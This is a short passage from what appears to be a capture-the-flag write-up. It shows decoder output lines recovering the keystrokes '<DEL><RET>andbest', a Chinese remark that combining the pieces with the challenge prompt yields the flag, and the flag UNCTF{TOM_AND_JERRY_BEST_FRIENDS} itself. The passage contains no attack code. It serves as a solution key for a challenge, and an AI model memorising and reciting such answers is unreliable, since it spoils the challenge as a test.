[-] Unknow Key : 01
[-] Unknow Key : 01
[+] Found : <DEL><RET>andbest

那么结合两个和题干就能得到flag

UNCTF{TOM_AND_JERRY_BEST_FRIENDS}